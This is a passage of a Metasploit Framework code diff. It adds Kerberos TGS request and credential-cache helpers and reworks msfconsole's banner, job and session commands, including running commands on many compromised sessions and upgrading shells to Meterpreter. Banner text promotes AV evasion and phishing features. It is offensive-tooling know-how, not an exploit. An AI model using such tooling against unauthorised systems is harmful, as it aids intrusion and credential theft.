+ # @see Rex::Proto::Kerberos::Model::EncryptionKey + def build_subkey(opts={}) + subkey_type = opts[:subkey_type] || Rex::Proto::Kerberos::Crypto::RC4_HMAC + subkey_value = opts[:subkey_value] || Rex::Text.rand_text(16) + + subkey = Rex::Proto::Kerberos::Model::EncryptionKey.new( + type: subkey_type, + value: subkey_value + ) + + subkey + end + + + # Builds a kerberos TGS request body + # + # @param opts [Hash{Symbol => <Fixnum, Time, String, Rex::Proto::Kerberos::Model::PrincipalName, Rex::Proto::Kerberos::Model::EncryptedData>}] + # @option opts [Fixnum] :options + # @option opts [Time] :from + # @option opts [Time] :till + # @option opts [Time] :rtime + # @option opts [Fixnum] :nonce + # @option opts [Fixnum] :etype + # @option opts [Rex::Proto::Kerberos::Model::PrincipalName] :cname + # @option opts [String] :realm + # @option opts [Rex::Proto::Kerberos::Model::PrincipalName] :sname + # @option opts [Rex::Proto::Kerberos::Model::EncryptedData] :enc_auth_data + # @return [Rex::Proto::Kerberos::Model::KdcRequestBody] + # @see Rex::Proto::Kerberos::Model::PrincipalName + # @see Rex::Proto::Kerberos::Model::KdcRequestBody + def build_tgs_request_body(opts = {}) + options = opts[:options] || 0x50800000 # Forwardable, Proxiable, Renewable + from = opts[:from] || Time.utc('1970-01-01-01 00:00:00') + till = opts[:till] || Time.utc('1970-01-01-01 00:00:00') + rtime = opts[:rtime] || Time.utc('1970-01-01-01 00:00:00') + nonce = opts[:nonce] || Rex::Text.rand_text_numeric(6).to_i + etype = opts[:etype] || [Rex::Proto::Kerberos::Crypto::RC4_HMAC] + cname = opts[:cname] || build_client_name(opts) + realm = opts[:realm] || '' + sname = opts[:sname] || build_server_name(opts) + enc_auth_data = opts[:enc_auth_data] || nil + + body = Rex::Proto::Kerberos::Model::KdcRequestBody.new( + options: options, + cname: cname, + realm: realm, + sname: sname, + from: from, + till: till, + rtime: rtime, + nonce: nonce, + etype: etype, + enc_auth_data: enc_auth_data + ) + + body + end + + # Builds a Kerberos TGS Request body checksum + # + # @param opts [Hash{Symbol => <Rex::Proto::Kerberos::Model::KdcRequestBody, Fixnum>}] + # @option opts [Rex::Proto::Kerberos::Model::KdcRequestBody] :body + # @return [Rex::Proto::Kerberos::Model::Checksum] + # @see #build_tgs_request_body + # @see Rex::Proto::Kerberos::Model::Checksum + def build_tgs_body_checksum(opts = {}) + body = opts[:body] || build_tgs_request_body(opts) + checksum_body = body.checksum(Rex::Proto::Kerberos::Crypto::RSA_MD5) + checksum = Rex::Proto::Kerberos::Model::Checksum.new( + type: 7, + checksum: checksum_body + ) + + checksum + end + end + end + end +end diff --git a/lib/msf/kerberos/client/tgs_response.rb b/lib/msf/kerberos/client/tgs_response.rb new file mode 100644 index 0000000000..597553167a --- /dev/null +++ b/lib/msf/kerberos/client/tgs_response.rb @@ -0,0 +1,74 @@ +# -*- coding: binary -*- +require 'rex/proto/kerberos' + +module Msf + module Kerberos + module Client + module TgsResponse + + # Extracts the Kerberos credentials, buildint a MIT Cache Credential, + # from a Kerberos TGS response. + # + # @param res [Rex::Proto::Kerberos::Model::KdcResponse] + # @param key [String] + # @return [Rex::Proto::Kerberos::CredentialCache::Cache] + # @see Rex::Proto::Kerberos::Model::EncKdcResponse + # @see Rex::Proto::Kerberos::Model::EncKdcResponse.decode + # @see Msf::Kerberos::Client::CacheCredential + # @see Rex::Proto::Kerberos::CredentialCache::Cache + def extract_kerb_creds(res, key) + decrypt_res = res.enc_part.decrypt(key, Rex::Proto::Kerberos::Crypto::ENC_TGS_RESPONSE) + enc_res = Rex::Proto::Kerberos::Model::EncKdcResponse.decode(decrypt_res) + + client = create_cache_principal( + name_type: res.cname.name_type, + realm: res.crealm, + components: res.cname.name_string + ) + + server = create_cache_principal( + name_type: enc_res.sname.name_type, + realm: enc_res.srealm, + components: enc_res.sname.name_string + ) + + key = create_cache_key_block( + key_type: enc_res.key.type, + key_value: enc_res.key.value + ) + + times = create_cache_times( + auth_time: enc_res.auth_time, + start_time: enc_res.start_time, + end_time: enc_res.end_time, + renew_till: enc_res.renew_till + ) + + credential = create_cache_credential( + client: client, + server: server, + key: key, + time: times, + ticket: res.ticket.encode, + flags: enc_res.flags + ) + + cache_principal = create_cache_principal( + name_type: res.cname.name_type, # NT_PRINCIPAL + #realm: realm,# opts[:realm], + realm: res.crealm, + #components: user # [opts[:cname]] + components: res.cname.name_string + ) + + cache = create_cache( + primary_principal: cache_principal, + credentials: [credential] + ) + + cache + end + end + end + end +end diff --git a/lib/msf/sanity.rb b/lib/msf/sanity.rb index b2c585bd7c..0a5506fa03 100644 --- a/lib/msf/sanity.rb +++ b/lib/msf/sanity.rb @@ -33,18 +33,6 @@ if (RUBY_VERSION =~ /^1\.9\.1/) $stderr.puts "*** Ruby 1.9.1 is not supported, please upgrade to Ruby 1.9.3 or newer." end -if(RUBY_VERSION =~ /^(1\.9|2\.0)\./) - # Load rubygems before changing default_internal, otherwise we may get - # Encoding::UndefinedConversionError as the gemspec files are loaded - require 'rubygems' - Gem::Version # trigger Rubygems to fully load - - # Force binary encoding for Ruby versions that support it - if(Object.const_defined?('Encoding') and Encoding.respond_to?('default_external=')) - Encoding.default_external = Encoding.default_internal = "binary" - end -end - if(RUBY_PLATFORM == 'java') require 'socket' s = Socket.new(::Socket::AF_INET, ::Socket::SOCK_STREAM, ::Socket::IPPROTO_TCP) diff --git a/lib/msf/ui/banner.rb b/lib/msf/ui/banner.rb index 4a8f928b1e..d35e8ce2f6 100644 --- a/lib/msf/ui/banner.rb +++ b/lib/msf/ui/banner.rb @@ -9,30 +9,23 @@ module Ui ### module Banner - Logos = - %w{ - branded-longhorn.txt - cow-head.txt - cowsay.txt - figlet.txt - i-heart-shells.txt - metasploit-shield.txt - missile-command.txt - ninja.txt - null-pointer-deref.txt - r7-metasploit.txt - wake-up-neo.txt - workflow.txt - 3kom-superhack.txt - } - # - # Returns a random metasploit logo. + # Returns a specific metasploit logo. If the specified file is a relative path + # then the file will be searched for first in the included local directory, + # then in the user-specific directory. # def self.readfile(fname) - base = File.expand_path(File.dirname(__FILE__)) - pathname = File.join(base, "logos", fname) - fdata = "<< Missing banner: #{fname} >>" + pathname = fname + + unless File.absolute_path(pathname) == pathname + if File.readable?(File.join(::Msf::Config.logos_directory, fname)) + pathname = File.join(::Msf::Config.logos_directory, fname) + elsif File.readable?(File.join(::Msf::Config.user_logos_directory, fname)) + pathname = File.join(::Msf::Config.user_logos_directory, fname) + end + end + + fdata = "<< Missing banner: #{pathname} >>" begin raise ArgumentError unless File.readable?(pathname) raise ArgumentError unless File.stat(pathname).size < 4096 @@ -44,22 +37,23 @@ module Banner end def self.to_s + return self.readfile ENV['MSFLOGO'] if ENV['MSFLOGO'] + + logos = [] + # Easter egg (always a cow themed logo): export/set GOCOW=1 if ENV['GOCOW'] - case rand(3) - when 0 - # branded-longhorn - self.readfile Logos[0] - when 1 - # cow-head - self.readfile Logos[1] - else - # cowsay - self.readfile Logos[2] - end + logos.concat(Dir.glob(::Msf::Config.logos_directory + File::SEPARATOR + 'cow*.txt')) + # Easter egg (always a halloween themed logo): export/set THISISHALLOWEEN=1 + elsif ( ENV['THISISHALLOWEEN'] || Time.now.strftime("%m%d") == "1031" ) + logos.concat(Dir.glob(::Msf::Config.logos_directory + File::SEPARATOR + '*.hwtxt')) else - self.readfile Logos[rand(Logos.length)] + logos.concat(Dir.glob(::Msf::Config.logos_directory + File::SEPARATOR + '*.txt')) + logos.concat(Dir.glob(::Msf::Config.user_logos_directory + File::SEPARATOR + '*.txt')) end + + logos = logos.map { |f| File.absolute_path(f) } + self.readfile logos[rand(logos.length)] end end diff --git a/lib/msf/ui/console/command_dispatcher/auxiliary.rb b/lib/msf/ui/console/command_dispatcher/auxiliary.rb index e5ebf805a1..b667c6367c 100644 --- a/lib/msf/ui/console/command_dispatcher/auxiliary.rb +++ b/lib/msf/ui/console/command_dispatcher/auxiliary.rb @@ -39,7 +39,7 @@ class Auxiliary # Allow modules to define their own commands # def method_missing(meth, *args) - if (mod and mod.respond_to?(meth.to_s)) + if (mod and mod.respond_to?(meth.to_s, true) ) # Initialize user interaction mod.init_ui(driver.input, driver.output) diff --git a/lib/msf/ui/console/command_dispatcher/core.rb b/lib/msf/ui/console/command_dispatcher/core.rb index fcd294fa6c..69d5cd0be4 100644 --- a/lib/msf/ui/console/command_dispatcher/core.rb +++ b/lib/msf/ui/console/command_dispatcher/core.rb @@ -41,15 +41,16 @@ class Core "-v" => [ false, "List verbose fields" ], "-q" => [ false, "Quiet mode" ], "-d" => [ true, "Detach an interactive session" ], - "-k" => [ true, "Terminate session" ], + "-k" => [ true, "Terminate sessions by session ID and/or range" ], "-K" => [ false, "Terminate all sessions" ], "-s" => [ true, "Run a script on the session given with -i, or all"], "-r" => [ false, "Reset the ring buffer for the session given with -i, or all"], - "-u" => [ true, "Upgrade a win32 shell to a meterpreter session" ]) + "-u" => [ true, "Upgrade a shell to a meterpreter session on many platforms" ], + "-t" => [ true, "Set a response timeout (default: 15)"]) @@jobs_opts = Rex::Parser::Arguments.new( "-h" => [ false, "Help banner." ], - "-k" => [ true, "Terminate the specified job name." ], + "-k" => [ true, "Terminate jobs by job ID and/or range." ], "-K" => [ false, "Terminate all running jobs." ], "-i" => [ true, "Lists detailed information about a running job."], "-l" => [ false, "List all running jobs." ], @@ -97,6 +98,12 @@ class Core # mode. DefangedProhibitedDataStoreElements = [ "MsfModulePaths" ] + # Constant for disclosure date formatting in search functions + DISCLOSURE_DATE_FORMAT = "%Y-%m-%d" + + # Constant for a retry timeout on using modules before they're loaded + CMD_USE_TIMEOUT = 3 + # Returns the list of commands supported by this command dispatcher def commands { @@ -108,6 +115,8 @@ class Core "color" => "Toggle color", "exit" => "Exit the console", "edit" => "Edit the current module with $VISUAL or $EDITOR", + "get" => "Gets the value of a context-specific variable", + "getg" => "Gets the value of a global variable", "go_pro" => "Launch Metasploit web GUI", "grep" => "Grep the output of another command", "help" => "Help menu", @@ -128,13 +137,13 @@ class Core "save" => "Saves the active datastores", "search" => "Searches module names and descriptions", "sessions" => "Dump session listings and display information about sessions", - "set" => "Sets a variable to a value", + "set" => "Sets a context-specific variable to a value", "setg" => "Sets a global variable to a value", "show" => "Displays modules of a given type, or all modules", "sleep" => "Do nothing for the specified number of seconds", "threads" => "View and manipulate background threads", "unload" => "Unload a framework plugin", - "unset" => "Unsets one or more variables", + "unset" => "Unsets one or more context-specific variables", "unsetg" => "Unsets one or more global variables", "use" => "Selects a module by name", "version" => "Show the framework and console library version numbers", @@ -161,16 +170,6 @@ class Core "Core" end - # Indicates the base dir where Metasploit Framework is installed. - def msfbase_dir - base = __FILE__ - while File.symlink?(base) - base = File.expand_path(File.readlink(base), File.dirname(base)) - end - File.expand_path( - File.join(File.dirname(base), "..","..","..","..","..") - ) - end def cmd_color_help print_line "Usage: color <'true'|'false'|'auto'>" @@ -212,6 +211,16 @@ class Core end print_status("Reloading modules from all module paths...") framework.modules.reload_modules + + # Check for modules that failed to load + if framework.modules.module_load_error_by_path.length > 0 + print_error("WARNING! The following modules could not be loaded!") + + framework.modules.module_load_error_by_path.each do |path, error| + print_error("\t#{path}: #{error}") + end + end + cmd_banner() end @@ -344,7 +353,7 @@ class Core # Restore the prompt prompt = framework.datastore['Prompt'] || Msf::Ui::Console::Driver::DefaultPrompt prompt_char = framework.datastore['PromptChar'] || Msf::Ui::Console::Driver::DefaultPromptChar - driver.update_prompt("#{prompt}", prompt_char, true) + driver.update_prompt("#{prompt} ", prompt_char, true) end end @@ -384,40 +393,42 @@ class Core def cmd_banner(*args) banner = "%cya" + Banner.to_s + "%clr\n\n" - if is_apt + # These messages should /not/ show up when you're on a git checkout; + # you're a developer, so you already know all this. + if (is_apt || binary_install) content = [ - "Large pentest? List, sort, group, tag and search your hosts and services\nin Metasploit Pro -- type 'go_pro' to launch it now.", - "Frustrated with proxy pivoting? Upgrade to layer-2 VPN pivoting with\nMetasploit Pro -- type 'go_pro' to launch it now.", - "Save your shells from AV! Upgrade to advanced AV evasion using dynamic\nexe templates with Metasploit Pro -- type 'go_pro' to launch it now.", - "Easy phishing: Set up email templates, landing pages and listeners\nin Metasploit Pro's wizard -- type 'go_pro' to launch it now.", - "Using notepad to track pentests? Have Metasploit Pro report on hosts,\nservices, sessions and evidence -- type 'go_pro' to launch it now.", - "Tired of typing 'set RHOSTS'? Click & pwn with Metasploit Pro\n-- type 'go_pro' to launch it now." + "Trouble managing data? List, sort, group, tag and search your pentest data\nin Metasploit Pro -- learn more on http://rapid7.com/metasploit", + "Frustrated with proxy pivoting? Upgrade to layer-2 VPN pivoting with\nMetasploit Pro -- learn more on http://rapid7.com/metasploit", + "Payload caught by AV? Fly under the radar with Dynamic Payloads in\nMetasploit Pro -- learn more on http://rapid7.com/metasploit", + "Easy phishing: Set up email templates, landing pages and listeners\nin Metasploit Pro -- learn more on http://rapid7.com/metasploit", + "Taking notes in notepad? Have Metasploit Pro track & report\nyour progress and findings -- learn more on http://rapid7.com/metasploit", + "Tired of typing 'set RHOSTS'? Click & pwn with Metasploit Pro\nLearn more on http://rapid7.com/metasploit", + "Love leveraging credentials? Check out bruteforcing\nin Metasploit Pro -- learn more on http://rapid7.com/metasploit", + "Save 45% of your time on large engagements with Metasploit Pro\nLearn more on http://rapid7.com/metasploit", + "Validate lots of vulnerabilities to demonstrate exposure\nwith Metasploit Pro -- Learn more on http://rapid7.com/metasploit" ] banner << content.sample # Ruby 1.9-ism! banner << "\n\n" end - banner << " =[ %yelmetasploit v#{Msf::Framework::Version} [core:#{Msf::Framework::VersionCore} api:#{Msf::Framework::VersionAPI}]%clr ]\n" - banner << "+ -- --=[ " - banner << "#{framework.stats.num_exploits} exploits - #{framework.stats.num_auxiliary} auxiliary - #{framework.stats.num_post} post ]\n" - banner << "+ -- --=[ " - - oldwarn = nil avdwarn = nil - banner << "#{framework.stats.num_payloads} payloads - #{framework.stats.num_encoders} encoders - #{framework.stats.num_nops} nops ]\n" - if ( ::Msf::Framework::RepoRevision.to_i > 0 and ::Msf::Framework::RepoUpdatedDate) - tstamp = ::Msf::Framework::RepoUpdatedDate.strftime("%Y.%m.%d") - banner << " =[ svn r#{::Msf::Framework::RepoRevision} updated #{::Msf::Framework::RepoUpdatedDaysNote} (#{tstamp})\n" - if(::Msf::Framework::RepoUpdatedDays > 7) - oldwarn = [] - oldwarn << "Warning: This copy of the Metasploit Framework was last updated #{::Msf::Framework::RepoUpdatedDaysNote}." - oldwarn << " We recommend that you update the framework at least every other day." - oldwarn << " For information on updating your copy of Metasploit, please see:" - oldwarn << " https://community.rapid7.com/docs/DOC-1306" - oldwarn << "" - end - end + banner_trailers = { + :version => "%yelmetasploit v#{Msf::Framework::Version} [core:#{Metasploit::Framework::Core::GEM_VERSION} api:#{Metasploit::Framework::API::GEM_VERSION}]%clr", + :exp_aux_pos => "#{framework.stats.num_exploits} exploits - #{framework.stats.num_auxiliary} auxiliary - #{framework.stats.num_post} post", + :pay_enc_nop => "#{framework.stats.num_payloads} payloads - #{framework.stats.num_encoders} encoders - #{framework.stats.num_nops} nops", + :free_trial => "Free Metasploit Pro trial: http://r-7.co/trymsp", + :padding => 48 + } + + banner << (" =[ %-#{banner_trailers[:padding]+8}s]\n" % banner_trailers[:version]) + banner << ("+ -- --=[ %-#{banner_trailers[:padding]}s]\n" % banner_trailers[:exp_aux_pos]) + banner << ("+ -- --=[ %-#{banner_trailers[:padding]}s]\n" % banner_trailers[:pay_enc_nop]) + + # TODO: People who are already on a Pro install shouldn't see this. + # It's hard for Framework to tell the difference though since + # license details are only in Pro -- we can't see them from here. + banner << ("+ -- --=[ %-#{banner_trailers[:padding]}s]\n" % banner_trailers[:free_trial]) if ::Msf::Framework::EICARCorrupted avdwarn = [] @@ -428,22 +439,9 @@ class Core avdwarn << "" end - # We're running a two week survey to gather feedback from users. - # Let's make sure we reach regular msfconsole users. - # TODO: Get rid of this sometime after 2014-01-23 - survey_expires = Time.new(2014,"Jan",22,23,59,59,"-05:00") - if Time.now.to_i < survey_expires.to_i - banner << "+ -- --=[ Answer Q's about Metasploit and win a WiFi Pineapple Mk5 ]\n" - banner << "+ -- --=[ http://bit.ly/msfsurvey (Expires #{survey_expires.ctime}) ]\n" - end - # Display the banner print_line(banner) - if(oldwarn) - oldwarn.map{|line| print_line(line) } - end - if(avdwarn) avdwarn.map{|line| print_error(line) } end @@ -678,6 +676,14 @@ class Core if(framework.sessions.length > 0 and not forced) print_status("You have active sessions open, to exit anyway type \"exit -y\"") return + elsif(driver.confirm_exit and not forced) + print("Are you sure you want to exit Metasploit? [y/N]: ") + response = gets.downcase.chomp + if(response == "y" || response == "yes") + driver.stop + else + return + end end driver.stop @@ -788,9 +794,7 @@ class Core def cmd_jobs(*args) # Make the default behavior listing all jobs if there were no options # or the only option is the verbose flag - if (args.length == 0 or args == ["-v"]) - args.unshift("-l") - end + args.unshift("-l") if args.length == 0 || args == ["-v"] verbose = false dump_list = false @@ -798,20 +802,27 @@ class Core job_id = nil # Parse the command options - @@jobs_opts.parse(args) { |opt, idx, val| + @@jobs_opts.parse(args) do |opt, idx, val| case opt when "-v" verbose = true when "-l" dump_list = true - - # Terminate the supplied job name + # Terminate the supplied job ID(s) when "-k" - if (not framework.jobs.has_key?(val)) - print_error("No such job") - else - print_line("Stopping job: #{val}...") - framework.jobs.stop_job(val) + job_list = build_range_array(val) + if job_list.blank? + print_error("Please specify valid job identifier(s)") + return false + end + print_status("Stopping the following job(s): #{job_list.join(', ')}") + job_list.map(&:to_s).each do |job| + if framework.jobs.has_key?(job) + print_status("Stopping job #{job}") + framework.jobs.stop_job(job) + else + print_error("Invalid job identifier: #{job}") + end end when "-K" print_line("Stopping all jobs...") @@ -827,28 +838,28 @@ class Core cmd_jobs_help return false end - } - - if (dump_list) - print("\n" + Serializer::ReadableText.dump_jobs(framework, verbose) + "\n") end - if (dump_info) - if (job_id and framework.jobs[job_id.to_s]) + + if dump_list + print("\n#{Serializer::ReadableText.dump_jobs(framework, verbose)}\n") + end + if dump_info + if job_id && framework.jobs[job_id.to_s] job = framework.jobs[job_id.to_s] mod = job.ctx[0] - output = "\n" + output = '\n' output += "Name: #{mod.name}" output += ", started at #{job.start_time}" if job.start_time print_line(output) - if (mod.options.has_options?) - show_options(mod) - end + show_options(mod) if mod.options.has_options? - if (verbose) + if verbose mod_opt = Serializer::ReadableText.dump_advanced_options(mod,' ') - print_line("\nModule advanced options:\n\n#{mod_opt}\n") if (mod_opt and mod_opt.length > 0) + if mod_opt && mod_opt.length > 0 + print_line("\nModule advanced options:\n\n#{mod_opt}\n") + end end else print_line("Invalid Job ID") @@ -868,7 +879,7 @@ class Core return @@jobs_opts.fmt.keys end - if @@jobs_opts.fmt[words[1]][0] and (words.length == 2) + if words.length == 2 and (@@jobs_opts.fmt[words[1]] || [false])[0] return framework.jobs.keys end @@ -1020,7 +1031,7 @@ class Core return @@threads_opts.fmt.keys end - if @@threads_opts.fmt[words[1]][0] and (words.length == 2) + if words.length == 2 and (@@threads_opts.fmt[words[1]] || [false])[0] return framework.threads.each_index.map{ |idx| idx.to_s } end @@ -1217,7 +1228,7 @@ class Core Rex::Socket::SwitchBoard.flush_routes when "print" - tbl = Table.new( + tbl = Table.new( Table::Style::Default, 'Header' => "Active Routing Table", 'Prefix' => "\n", @@ -1488,7 +1499,7 @@ class Core next if not o if not o.search_filter(match) - tbl << [ o.fullname, o.disclosure_date.to_s, o.rank_to_s, o.name ] + tbl << [ o.fullname, o.disclosure_date.nil? ? "" : o.disclosure_date.strftime(DISCLOSURE_DATE_FORMAT), o.rank_to_s, o.name ] end end end @@ -1503,7 +1514,7 @@ class Core def search_modules_sql(search_string) tbl = generate_module_table("Matching Modules") framework.db.search_modules(search_string).each do |o| - tbl << [ o.fullname, o.disclosure_date.to_s, RankingName[o.rank].to_s, o.name ] + tbl << [ o.fullname, o.disclosure_date.nil? ? "" : o.disclosure_date.strftime(DISCLOSURE_DATE_FORMAT), RankingName[o.rank].to_s, o.name ] end print_line(tbl.to_s) end @@ -1573,7 +1584,11 @@ class Core print_line "Usage: sessions [options]" print_line print_line "Active session manipulation and interaction." - print(@@sessions_opts.usage()) + print(@@sessions_opts.usage) + print_line + print_line "Many options allow specifying session ranges using commas and dashes." + print_line "For example: sessions -s checkvm -i 1,3-5 or sessions -k 1-2,5,6" + print_line end # @@ -1588,107 +1603,109 @@ class Core cmds = [] script = nil reset_ring = false + response_timeout = 15 # any arguments that don't correspond to an option or option arg will # be put in here extra = [] # Parse the command options - @@sessions_opts.parse(args) { |opt, idx, val| + @@sessions_opts.parse(args) do |opt, idx, val| case opt - when "-q" - quiet = true - - # Run a command on all sessions, or the session given with -i - when "-c" - method = 'cmd' - if (val) - cmds << val - end - - when "-v" - verbose = true - - # Do something with the supplied session identifier instead of - # all sessions. - when "-i" - sid = val - - # Display the list of active sessions - when "-l" - method = 'list' - - when "-k" - method = 'kill' - sid = val if val - if not sid - print_error("Specify a session to kill") - return false - end - - when "-K" - method = 'killall' - - when "-d" - method = 'detach' - sid = val - - # Run a script on all meterpreter sessions - when "-s" - if not script - method = 'scriptall' - script = val - end - - # Upload and exec to the specific command session - when "-u" - method = 'upexec' - sid = val - - # Reset the ring buffer read pointer - when "-r" - reset_ring = true - method = 'reset_ring' - - # Display help banner - when "-h" - cmd_sessions_help - return false - else - extra << val + when "-q" + quiet = true + # Run a command on all sessions, or the session given with -i + when "-c" + method = 'cmd' + cmds << val if val + when "-v" + verbose = true + # Do something with the supplied session identifier instead of + # all sessions. + when "-i" + sid = val + # Display the list of active sessions + when "-l" + method = 'list' + when "-k" + method = 'kill' + sid = val || false + when "-K" + method = 'killall' + when "-d" + method = 'detach' + sid = val || false + # Run a script on all meterpreter sessions + when "-s" + unless script + method = 'scriptall' + script = val + end + # Upload and exec to the specific command session + when "-u" + method = 'upexec' + sid = val || false + # Reset the ring buffer read pointer + when "-r" + reset_ring = true + method = 'reset_ring' + # Display help banner + when "-h" + cmd_sessions_help + return false + when "-t" + if val.to_s =~ /^\d+$/ + response_timeout = val.to_i + end + else + extra << val end - } - - if sid and not framework.sessions.get(sid) - print_error("Invalid session id") - return false end - if method.nil? and sid + if !method && sid method = 'interact' end + unless sid.nil? || method == 'interact' + session_list = build_range_array(sid) + if session_list.blank? + print_error("Please specify valid session identifier(s)") + return false + end + end + + last_known_timeout = nil + # Now, perform the actual method case method - - when 'cmd' - if (cmds.length < 1) - print_error("No command specified!") + when 'cmd' + if cmds.length < 1 + print_error("No command specified!") + return false + end + cmds.each do |cmd| + if sid + sessions = session_list + else + sessions = framework.sessions.keys.sort + end + if sessions.blank? + print_error("Please specify valid session identifier(s) using -i") return false end - cmds.each do |cmd| - if sid - sessions = [ sid ] - else - sessions = framework.sessions.keys.sort + sessions.each do |s| + session = verify_session(s) + next unless session + print_status("Running '#{cmd}' on #{session.type} session #{s} (#{session.session_host})") + if session.respond_to?(:response_timeout) + last_known_timeout = session.response_timeout + session.response_timeout = response_timeout end - sessions.each do |s| - session = framework.sessions.get(s) - print_status("Running '#{cmd}' on #{session.type} session #{s} (#{session.session_host})") - if (session.type == "meterpreter") + begin + if session.type == 'meterpreter' # If session.sys is nil, dont even try.. - if not (session.sys) + unless session.sys print_error("Session #{s} does not have stdapi loaded, skipping...") next end @@ -1699,133 +1716,181 @@ class Core 'Channelized' => true, 'Hidden' => true }) + if process && process.channel + data = process.channel.read + print_line(data) if data + end rescue ::Rex::Post::Meterpreter::RequestError print_error("Failed: #{$!.class} #{$!}") + rescue Rex::TimeoutError + print_error("Operation timed out") end - if process and process.channel and (data = process.channel.read) - print_line(data) - end - elsif session.type == "shell" - if (output = session.shell_command(cmd)) - print_line(output) - end + elsif session.type == 'shell' + output = session.shell_command(cmd) + print_line(output) if output end - # If the session isn't a meterpreter or shell type, it - # could be a VNC session (which can't run commands) or - # something custom (which we don't know how to run - # commands on), so don't bother. + ensure + # Restore timeout for each session + session.response_timeout = last_known_timeout if last_known_timeout end + # If the session isn't a meterpreter or shell type, it + # could be a VNC session (which can't run commands) or + # something custom (which we don't know how to run + # commands on), so don't bother. end - - when 'kill' - if ((session = framework.sessions.get(sid))) - print_status("Killing session #{sid}") - session.kill - else - print_error("Invalid session identifier: #{sid}") - end - - when 'killall' - print_status("Killing all sessions...") - framework.sessions.each_sorted do |s| - if ((session = framework.sessions.get(s))) + end + when 'kill' + print_status("Killing the following session(s): #{session_list.join(', ')}") + session_list.each do |sess_id| + session = framework.sessions.get(sess_id) + if session + if session.respond_to?(:response_timeout) + last_known_timeout = session.response_timeout + session.response_timeout = response_timeout + end + print_status("Killing session #{sess_id}") + begin session.kill - end - end - - when 'detach' - if ((session = framework.sessions.get(sid))) - print_status("Detaching session #{sid}") - if (session.interactive?) - session.detach() + ensure + session.response_timeout = last_known_timeout if last_known_timeout end else - print_error("Invalid session identifier: #{sid}") + print_error("Invalid session identifier: #{sess_id}") end - - when 'interact' - if ((session = framework.sessions.get(sid))) - if (session.interactive?) - print_status("Starting interaction with #{session.name}...\n") if (quiet == false) - - self.active_session = session - - session.interact(driver.input.dup, driver.output) - - self.active_session = nil - - if (driver.input.supports_readline) - driver.input.reset_tab_completion - end - - else - print_error("Session #{sid} is non-interactive.") + end + when 'killall' + print_status("Killing all sessions...") + framework.sessions.each_sorted do |s| + session = framework.sessions.get(s) + if session + if session.respond_to?(:response_timeout) + last_known_timeout = session.response_timeout + session.response_timeout = response_timeout + end + begin + session.kill + ensure + session.response_timeout = last_known_timeout if last_known_timeout end - else - print_error("Invalid session identifier: #{sid}") end - - when 'scriptall' - if (script.nil?) - print_error("No script specified!") - return false + end + when 'detach' + print_status("Detaching the following session(s): #{session_list.join(', ')}") + session_list.each do |sess_id| + session = verify_session(sess_id) + # if session is interactive, it's detachable + if session + if session.respond_to?(:response_timeout) + last_known_timeout = session.response_timeout + session.response_timeout = response_timeout + end + print_status("Detaching session #{sess_id}") + begin + session.detach + ensure + session.response_timeout = last_known_timeout if last_known_timeout + end end - - script_paths = {} - script_paths['meterpreter'] = Msf::Sessions::Meterpreter.find_script_path(script) - script_paths['shell'] = Msf::Sessions::CommandShell.find_script_path(script) - - if sid - print_status("Running script #{script} on session #{sid}...") - sessions = [ sid ] - else - print_status("Running script #{script} on all sessions...") - sessions = framework.sessions.keys.sort + end + when 'interact' + session = verify_session(sid) + if session + if session.respond_to?(:response_timeout) + last_known_timeout = session.response_timeout + session.response_timeout = response_timeout end + print_status("Starting interaction with #{session.name}...\n") unless quiet + begin + self.active_session = session + session.interact(driver.input.dup, driver.output) + self.active_session = nil + driver.input.reset_tab_completion if driver.input.supports_readline + ensure + session.response_timeout = last_known_timeout if last_known_timeout + end + end + when 'scriptall' + unless script + print_error("No script specified!") + return false + end + script_paths = {} + script_paths['meterpreter'] = Msf::Sessions::Meterpreter.find_script_path(script) + script_paths['shell'] = Msf::Sessions::CommandShell.find_script_path(script) - sessions.each do |s| - if ((session = framework.sessions.get(s))) - if (script_paths[session.type]) - print_status("Session #{s} (#{session.session_host}):") + sessions = sid ? session_list : framework.sessions.keys.sort + + sessions.each do |sess_id| + session = verify_session(sess_id, true) + # @TODO: Not interactive sessions can or cannot have scripts run on them? + if session == false # specifically looking for false + # if verify_session returned false, sess_id is valid, but not interactive + session = framework.sessions.get(sess_id) + end + if session + if session.respond_to?(:response_timeout) + last_known_timeout = session.response_timeout + session.response_timeout = response_timeout + end + begin + if script_paths[session.type] + print_status("Session #{sess_id} (#{session.session_host}):") + print_status("Running script #{script} on #{session.type} session" + + " #{sess_id} (#{session.session_host})") begin session.execute_file(script_paths[session.type], extra) rescue ::Exception => e log_error("Error executing script: #{e.class} #{e}") end end - end - end - - when 'upexec' - if ((session = framework.sessions.get(sid))) - if (session.interactive?) - if (session.type == "shell") # XXX: check for windows? - session.init_ui(driver.input, driver.output) - session.execute_script('spawn_meterpreter', nil) - session.reset_ui - else - print_error("Session #{sid} is not a command shell session.") - end - else - print_error("Session #{sid} is non-interactive.") + ensure + session.response_timeout = last_known_timeout if last_known_timeout end else - print_error("Invalid session identifier: #{sid}") + print_error("Invalid session identifier: #{sess_id}") + end + end + when 'upexec' + print_status("Executing 'post/multi/manage/shell_to_meterpreter' on " + + "session(s): #{session_list}") + session_list.each do |sess_id| + session = verify_session(sess_id) + if session + if session.respond_to?(:response_timeout) + last_known_timeout = session.response_timeout + session.response_timeout = response_timeout + end + begin + if session.type == 'shell' + session.init_ui(driver.input, driver.output) + session.execute_script('post/multi/manage/shell_to_meterpreter') + session.reset_ui + else + print_error("Session #{sess_id} is not a command shell session, skipping...") + next + end + ensure + session.response_timeout = last_known_timeout if last_known_timeout + end end - when 'reset_ring' - sessions = sid ? [ sid ] : framework.sessions.keys - sessions.each do |sidx| - s = framework.sessions[sidx] - next if not (s and s.respond_to?(:ring_seq)) - s.reset_ring_sequence - print_status("Reset the ring buffer pointer for Session #{sidx}") + if session_list.count > 1 + print_status("Sleeping 5 seconds to allow the previous handler to finish..") + sleep(5) end - - when 'list',nil - print_line - print(Serializer::ReadableText.dump_sessions(framework, :verbose => verbose)) - print_line + end + when 'reset_ring' + sessions = sid ? [sid] : framework.sessions.keys + sessions.each do |sidx| + s = framework.sessions[sidx] + next unless (s && s.respond_to?(:ring_seq)) + s.reset_ring_sequence + print_status("Reset the ring buffer pointer for Session #{sidx}") + end + when 'list',nil + print_line + print(Serializer::ReadableText.dump_sessions(framework, :verbose => verbose)) + print_line end rescue IOError, EOFError, Rex::StreamClosedError @@ -1839,7 +1904,7 @@ class Core # Reset the active session self.active_session = nil - return true + true end # @@ -2019,7 +2084,7 @@ class Core res << 'ENCODER' end - if (mod.auxiliary?) + if mod.kind_of?(Msf::Module::HasActions) res << 